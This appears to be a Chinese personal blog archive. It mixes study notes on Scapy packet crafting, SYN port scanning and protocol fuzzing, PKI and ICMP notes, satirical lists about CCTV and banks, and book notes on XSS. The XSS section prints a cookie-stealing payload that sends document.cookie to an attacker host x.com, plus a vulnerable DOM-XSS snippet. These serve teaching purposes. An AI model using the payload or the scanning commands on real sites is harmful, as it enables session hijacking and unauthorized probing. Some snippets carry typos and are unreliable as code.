终于入手milestone了!

看到真机后,冲动了一把。昨天又配了了3G号。总算圆满了。

买到的机器啥都刷好了,还是不错的。就是UC有时候会异常,忍了,现在是没工夫捣鼓。2.1也不刷了。

这些天一直是稀里糊涂,赶紧离职吧。到新单位,有个新的开始。

这里玩够了。

赶紧温习下PKI

PKI(Public Key Infrastructure )公钥基础设施
一种遵循既定标准的密钥管理平台,可以为所有的网络应用提供加密和数字签名等密码服务及所需的密钥和证书管理体系。
简单说,PKI就是利用公钥理论和体系建立的提供安全服务的基础设施。
PKI基础技术包括,加密,数字签名,数据完整性机制,双重数字签名等。
Read More »

Scapy学习笔记.0×04–SYN扫描器

Scapy系列学习笔记(未完) 来自 www.d-up.org/man
0×01.初识sacpy:http://d-up.org/man/2010/01/scapy0×01/
0×02.创造数据包:http://d-up.org/man/2010/02/scapy0×02/
0×03.发送数据包:http://d-up.org/man/2010/02/scapy0×03/
0×04.SYN扫描器:http://d-up.org/man/2010/03/scapy0×04/
………………(本人不断更新中,转载请保留此信息)

通过前面的学习,我们已经基本可以使用Scapy来生成一些数据包并发送了。现在来学习一些简单的应用,虽然简单,但是功能还是很强大的。

一个简单的SYN扫描器

TCP SYN扫描是一个半开放扫描形式,它利用了TCP 三次握手中的一个步骤,也就是传送SYN标志这个步骤,其他的后续步骤没有发生,主要利用了初次发送syn时,如果目标端口关闭,则会返回一个RST,否则返回ACK和一个SYN。SYN扫描速度很快也就是因为他连三次握手都没握完。
一个典型的SYN扫描器可以通过下面的命令来完成.


>>> sr1(IP(dst='www.d-up.org')/TCP(dport=80,flags='S'))
Begin emission:
....Finished to send 1 packets.
......*
Received 11 packets, got 1 answers, remaining 0 packets
>>
>>>

可以看到,服务器发送过来了seq,通过glags SA (syn-ack)可以看出握手成功。再来测试一个随机的端口。


>>> sr1(IP(dst='www.d-up.org')/TCP(dport=65531,flags='S'))
Begin emission:
Finished to send 1 packets.
....*
Received 5 packets, got 1 answers, remaining 0 packets
>>
>>>

可以看到seq为0,flags=RA (RST-ACK),链接不成功。

扫描多个端口

结合之前学的几个方法,可以快速扫描多个端口。首先dport为一个数组,里面有要扫描的端口,然后在将结果取出,通过查看flags字段,就可以得到目标端口的
开发情况,RA为RST-ACK ,失败。SA为SYN-ACK,成功。


>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

处理扫描结果

上面我们显示了完整的请求和响应。我们可以通过简单的循环只显示我们感兴趣的部分,扫描的端口和结果。


>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA

lambda 是个很操蛋的函数,需要稍微研究下,就是执行一条语句。
我们还可以通过make_table()函数来制个表。


>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda(s,r): (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    66.35.250.150                192.168.1.1 216.109.112.135
22  66.35.250.150 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA

上面的例子可以打印出 ICMP错误,来取代无法得到的响应。
扫描数量较大的时候我们可以只显示出我们关心的结果,例如开放的端口。


>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

这次我们想得到一个更友好的显示,通过下面的示例可以更好的显示扫描结果:


>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

当扫描的目标更多时,也许下面的显示方法更加招人喜欢:


>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
...             (s.dst, s.dport, "X"))
    66.35.250.150 192.168.1.1 216.109.112.135
80  X             -           X
443 X             X           X

如果上面的输出方法,还不能满足你,那么可以使用report_ports()函数,它不仅包括了自动化的SYN扫描,而且还生成了LaTeX格式的结果。


>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

Scapy学习笔记.0×03-发送数据包

Scapy系列学习笔记(未完) 来自 www.d-up.org/man
0×01.初识sacpy:http://d-up.org/man/2010/01/scapy0×01/
0×02.创造数据包:http://d-up.org/man/2010/02/scapy0×02/
0×03.发送数据包:http://d-up.org/man/2010/02/scapy0×03/
0×04.SYN扫描器:http://d-up.org/man/2010/03/scapy0×04/
………………(本人不断更新中,转载请保留此信息)

发送包

前面学习了构造自己的网络数据包,现在该学会如何将他们发送出去了。

这里先介绍两个函数,第一个send(),这个函数将数据包发送在层3上,第二个sendp(),这个函数工作在层2上。

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

开始使用send()的时候,我们只需要指定IP层,也就是层3的内容即可。而在使用sendp()时,需要带上以太的头,也就是带上一个层2的包头。这样才能正确的完成任务。包发送同样支持pacp文件。由于pacp文件中包含完整的信息,所以可以使用sendp()发送成功。

Fuzzing 模糊测试

scapy可以用于对协议的模糊测试中 >_<

fuzzing()方法用于随意修改字段的值,这些值可以是不正确的、随机数。例如checksum的值。可以用来快速构建fuzz的模版,并循环发送。

下面这个例子中,将对UDP 中的NTP协议进行fuzz。udp中的端口将被ntp覆盖成123,Ntp强制使用版本4,从udp中的内容起,除了上面说的两个内容,其他的值将为随机数。

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

ps:最近我也在系统的看了写fuzz的内容,有机会写一系列fuzzing的学习文章。

发送 与接收

之前一直在发送,现在我们需要来接收一些回应了。
sr()方法用于发送包和接收响应,由于其总是返回一个unanswered packets(无响应包)。所以一般使用sr1()
这个变种,sr1()过滤掉了unanswered packets,显示更为有好。sr1()发送的包,必须为层3的包,
以为着必须要带着IP层的头。

>>> d=sr1(icmp)
Begin emission:
.Finished to send 1 packets.
...............................*
Received 33 packets, got 1 answers, remaining 0 packets
>>> d
<IP  version=4L ihl=5L tos=0x0 len=28 id=65475 flags= frag=0L ttl=46 proto=icmp chksum=0x1640 src=173.83.7.53 dst=192.168.1.173 options=[] |<ICMP  type=echo-reply code=0 chksum=0x0 id=0x0 seq=0x0 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
>>>
>>> d.show()
###[ IP ]###
 version= 4L
 ihl= 5L
 tos= 0x0
 len= 28
 id= 65475
 flags=
 frag= 0L
 ttl= 46
 proto= icmp
 chksum= 0x1640
 src= 173.83.7.53
 dst= 192.168.1.173
 \options\
###[ ICMP ]###
 type= echo-reply
 code= 0
 chksum= 0x0
 id= 0x0
 seq= 0x0
###[ Padding ]###
 load= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>>

利用sr1()来进行一次dns查询,202.106.0.20是网通的dns.查询本站的地址。示例如下,越来越有意思了吧。

>>> sr1(IP(dst="202.106.0.20")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.d-up.org")))
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x0 len=74 id=541 flags= frag=0L ttl=58 proto=udp chksum=0xf1b2 src=202.106.0.20 dst=192.168.1.173 options=[] |<UDP  sport=domain dport=domain len=54 chksum=0x877c |<DNS  id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR  qname='www.d-up.org.' qtype=A qclass=IN |> an=<DNSRR  rrname='www.d-up.org.' type=A rclass=IN ttl=65897 rdata='173.83.7.53' |> ns=None ar=None |>>>
>>>

前面学了sendp()用于发送2层的包,这里同样srp()用来发送2层(Ethernet, 802.3, etc)的包。
发送、接收包 是Scapy的重要功能,sr()最后一次返回的内容可以用 _(下划线) 获取,
他是一对值,包括发送的包,和接收的包(总是unanswered),所以一般不去处理第二个内容.
我们可以用两个变量获取这些内容,下面的示例:

>>> sr(IP(dst="192.168.1.172")/TCP(dport=[21,22,23]))
Begin emission:
.**Finished to send 3 packets.
*
Received 4 packets, got 3 answers, remaining 0 packets
(<Results: TCP:3 UDP:0 ICMP:0 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
>>> ans,unnas=_
>>> ans.summary()
IP / TCP 192.168.1.173:ftp_data > 192.168.1.172:ftp S ==> IP / TCP 192.168.1.172:ftp > 192.168.1.173:ftp_data RA / Padding
IP / TCP 192.168.1.173:ftp_data > 192.168.1.172:ssh S ==> IP / TCP 192.168.1.172:ssh > 192.168.1.173:ftp_data RA / Padding
IP / TCP 192.168.1.173:ftp_data > 192.168.1.172:telnet S ==> IP / TCP 192.168.1.172:telnet > 192.168.1.173:ftp_data RA / Padding

注意:还需要说明的是sr1()前面我介绍了其过滤了这个 unanswered,因此返回一个值,所以取sr1()的结果用一个变量就可以了。
总结下,sr()和sr1()相比,个人觉得用还得用sr1()分析收到的包。

如果收到的包数量有限,你可以指定一个时间间隔来发送相邻的包。用inter参数来指定,如果有丢包现象,或者指定的时间间隔不够用,可以重新发送这些无响应包,除了再次调用发送函数发送无响应包外,还可以通过指定retry参数来实现,如果retry =3 ,那么sacpy将重新发送无响应包3次,如果retry=-3,scapy将重新发送无响应包直到 没有收到的同样无响应包超过3次以上。timeout参数用来指定从发送起等待的超时时间。

发送数据包的基础差不多就是这些了,后面将要学习一些简单的应用。

Scapy学习笔记.0×02-创造数据包

之前展示了scapy的安装启动等,并学习了ls命令,并创造了一个IP包,通过ls查看了创建的这个IP包的内容。现在看看创建、修改包的更多方法。

构造包


>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

代码很清晰的介绍了,创建一个包的时候添加属性,查看包的某个内容。以及删除包中的内容,删除后恢复为默认值。

构造更复杂的包(包含多个层的包)

/ 操作符用来链接两不同层的包,其实就是把两个包的封装起来,比如一个IP层的包,当作包头加上一个TCP层的包。使用方法如下


>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>

分析包

scapy提供了多种查看包结构并分析包的方法。支持抓包工具里常见的几种形式。看下面的代码:

>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>>  hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

支持的命令如下:
Command            Effect
summary()            displays a list of summaries of each packet
nsummary()         same as previous, with the packet number
conversations()   displays a graph of conversations
show()                   displays the prefered representation (usually nsummary())
filter()                    returns a packet list filtered with a lambda function
hexdump()            returns a hexdump of all packets
hexraw()                returns a hexdump of the Raw layer of all packets
padding()              returns a hexdump of packets with padding
nzpadding()          returns a hexdump of packets with non-zero padding
plot()                      plots a lambda function applied to the packet list
make table()          displays a table according to a lambda function
可以看到,支持的显示形式非常丰富,我们几乎可以修改任何一个字段的内容。
如果包的内容很长,而一些内容我们没有修改过,我们只想查看我们修改过的内容,那么可以使用 hide_defaults() 这个函数来查看,它将不显示所以字段为默认值的字段。

>>> c.hide_defaults()
>>> c
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

导入PACP文件

可以使用Scapy查看抓包工具抓到的PACP文件,这个功能很方便。

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

生成图像

如果安装了Pyx库,则可以将包的结构导出为PDF形式的图像。

>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
效果很炫

生成一组包

前面都是手动生成了一个包,现在我们一次性多造点包。

>>> a=IP(dst="www.d-up.org/30")
>>> a
<IP  dst=Net('www.d-up.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

通过上面方法,可以很轻松的造出很多包。也可以很方便的将很多层的包封装起来。

包的构造基本学完了,下面该学习如何发送和接收包了。

相关文章列表:

第一篇 认识Scapy   http://d-up.org/man/2010/01/scapy0×1/

数据表示和分析-协议

什么是协议

在计算机两个端点建立活控制链接、通信或文件传输的约定或标准。

协议域

决定协议中的数据如何被分隔成不同的成分,以便对方按照协议约定去解释这些内容。常见的有三中方法:

A.定长域   (常用于网络协议)

B.变长域   (常用于多媒体,如视频)

C.分隔域   (简单文本协议,XML等)

简单文本协议 plain text protocol

通信数据的数据类型多为ASCII码。便于阅读,效率不高。

例如FTP、http,可以用发送字符串的方式完成操作。

二进制协议

传输的内容多为原始字节流。说白了就是指定位置指定内容,不理解该协议,对该协议中的数据包分析便无意义。只有理解了该协议,才能进行分析。效率较高。

文件格式

文件格式种类很多,实现方法各不相同,.odt文件有多个文件拼凑而成,而word文件为二进制文件。

常见的协议元素

以下在fuzzing中,均可以用来fuzzing。就是拿来破坏。

名字-值对  : size=13

块标识符   :块标记,后面跟着可变长或固定长度的数据

块长度        :用来标记长度,可参加Http协议

校验和        :主要用来保护数据完整性

小结:

这一章主要介绍了一般协议的构成,在fuzzing中,提前了解对象的构成会有莫大的帮助,尤其是开发协议。

ICMP

ICMP (Internet Control Message Protocol) Internet控制报文协议,在IP数据报内传输,格式如下:

|8位类型|8位代码|16位校验和|各种内容|

1.类型与代码

类型分为2大类,查询报文,差错报文。(为了防止处理产生的差错报文时不死循环)。
常见的ping请求,类型为8,ping回应的类型通常为0.类型和代码具体可查表,书中P 51。

ICMP 地址掩码请求与应答

类型为17或18.主要用于无盘系统在引导过程中获取自己的掩码,类似于RARP。

ICMP时间戳请求与应答

请求类型为13,应答类型为14.用于向另一个系统查询当前的时间,返回值为为午夜开始的毫秒值。因为返回的是毫秒数,因此日期需要通过其他方法获知。
包含3个时间戳,发起、接受、传送。同样接收这3个时间戳。通过这些数值可以计算出往返时间(rtt)

ICMP端口不可达差错报文

差错报文其实就是不可达报文,包含多种类型和情况。

CCTV与西方媒体的区别!句句发人深思

1、连续发生假货泛滥、食物中毒等事件后──
西方媒体:政府应当反省,加大整治、监管力度,不能推诿责任!
CCTV:公民应该加强防范意识,提高识别假货的能力,不要购买过期变质食品。

2、贫困山区的孩子上不起学,要靠乡村教师拼了老命捐助──
西方媒体:这是教育部门和社会保障部门的失职和耻辱。
CCTV:号召大家学习乡村教师,这是时代的光荣和国家的骄傲!

3、抓了一个大贪官,追回了XX万元巨额赃款──
西方媒体:这说明监督机制有漏洞,应该反思。
CCTV:监督部门及时发现问题,为国家挽回了巨额损失,成绩斐然。

4、煤矿屡屡塌方、爆炸──
西方媒体:政府安全监管部门的官员引咎辞职。
CCTV:事故引起了安全监管部门领导的高度重视,他怒斥下级、亲笔批示,一定要追究相关人员的法律责任!

5、遇到穷凶极恶的亡命徒──
西方媒体:提醒广大公民及时报警,避免与歹徒发生冲突。
CCTV:呼吁广大公民见义勇为、冲上去与歹徒玩命,只有大家一起上、社会治安才能根本好转。

6、辖区一贫如洗,村民们饥寒交迫、看不起病──
西方媒体:主管官员的支持率严重下降,民众强烈不满。
CCTV:主管官员政绩卓著,亲自下乡给农民”送温暖”,农民们感激涕零、山呼万岁,亲切地把这些官员称作好公仆、领路人、贴心者、父母官。

7、西方媒体节目都是什么事儿大、什么事儿新鲜什么就排前面;
CCTV则是谁官大谁就排前面,某些领导说句大话回回都排在当日头条。

8、西方媒体节目里有好事也有坏事,
CCTV里则都是好事;如果有坏事,那一定是在最后几分钟的国际要闻里。

9、西方媒体节目里的环境问题总是很严峻,尽管他们国家的河流看上去很清澈;
CCTV里的环境治理总是捷报频传、再上一个新台阶,尽管他们国家的河流又黑又臭。

10、西方媒体节目里没有整天强调教育、医疗的重要性,却也没多少人上不起学、看不起病;
CCTV里重视教育、医疗改革、取缔乱收费天天结硕果,但还是有那么多人上不起学、看不起病。

11、西方媒体节目里的官员没有把为纳税人着想挂在嘴边,但他们的数量从不膨胀、办公楼也非常简易;
CCTV里的官员总在强调一切为了人民,但他们的队伍越来越臃肿、公车和办公楼也越来越奢侈。

中国金融系统的境况

1、ATM取出假钱—>银行无责

2、网上银行被盗—>储户责任

3、银行多给了钱—>储户义务归还

4、银行少给了钱—>离开柜台概不负责

5、ATM机出现故障少给钱—>用户负责

6、ATM机出现故障多给钱—>用户盗窃

7、广东开平银行行长贪污4亿—>判12年

8、ATM多吐17万给老百姓许霆—>判无期

9、你给银行假钱,盖章没收,情节严重负刑事责任!

10、银行给你假钱,离柜概不负责,谁叫你不长眼睛看清楚,自认倒霉!

新年了

   有过年了,虽然过年越来越没有感觉了。

   新的一年,对自己有些新的期待,希望减少一些浮躁,多些实干的精神。

   如果有合适的机会考虑考虑换个工作,多接触些知识与人。

   美好的生活要靠自己的双手。

  新年愿父母身体健康,悠悠找个不累的工作。

  虎年大吉!

第12章 攻击其他用户->XSS

反射型XSS漏洞

由于这种漏洞需要一个包含Javascript的的请求,这些请求又被反射到提交请求的用户,所以成为反射型XSS,又称一阶XSS。

实例:动态页面向用户显示消息 .com/error.php?message=sorry%2c+an+error+ocurred

判断 .com/error.php?message=<script>alert(‘zidane’)</script>

利用漏洞

最常见的利用方式,会话劫持(cookie截获)

用户登录的时候会得到一个保护令牌的cookie,以下代码:

.com/error.php?message=<script>var+i=new+Image;+i.src=”http://x.com/“%2bdcument.cookie;</script>

包含的代码为:

<scirpt>
var i=new Image;
i.src="http://x.com/"+document.cookie;
</script>

这是一个简易的盗取cookie代码,攻击者监控其x.com收到的请求,便可得知用户的cookie(改良的该代码可以发送cookie到邮箱或页面)

这么做的原因:

1.站点的可信度

2.任何脚本不可以访问其他站点的cookie,只有自己站里的脚本可以请求自己的cookie

注意:

1.一个域的页面可以向另一个域提出任意请求,,但它不能处理那个请求返回的数据。

2.一个域的页面可以从另一个域加载脚本,并在自己的域中执行,这是因为脚本被假定包含代码不包含数据,因此跨域访问并不危险,一旦这种假设被违反了将造成跨站攻击。

3.一个域的页面不能访问另一个域的cookie或其他DOM对象。

保存型XSS漏洞

用户提交的数据,被保存到应用程序中,或者是数据库中,然后不过滤就显示给其他用户,就有可能构成这种漏洞。

因为这种攻击至少要向应用程序提出两次请求,所以被称为二阶XSS。比反射型危害更大。

基于DOM的XSS

这类XSS漏洞中,攻击者的javascript通过如下过程执行

  • 用户请求一个经过设计的URL,它由攻击者提交,其中包含JavaScript
  • 服务器的响应中不包含攻击者的漏洞
  • 当用户的浏览器处理这个响应时,脚本得到处理

由于客户端JavaScript可以访问浏览器的文本对象模型(DOM,Document Object Model),因此它能够决定用于加载当前页面的URL,应用程序发布的脚本可以从URL中提取数据,然后处理,用他来动态更新页面的内容。

假如error.php包含以下内容:

<script type="text/javascript">
var a = document.URL;
a = unescape(a);
document.write(a.substring(a.indexOf("message=")+8,a.lentth));
</script>

攻击者继续提交 .com/error.php?message=<script>alert(‘zidane’)</script> 即可出发漏洞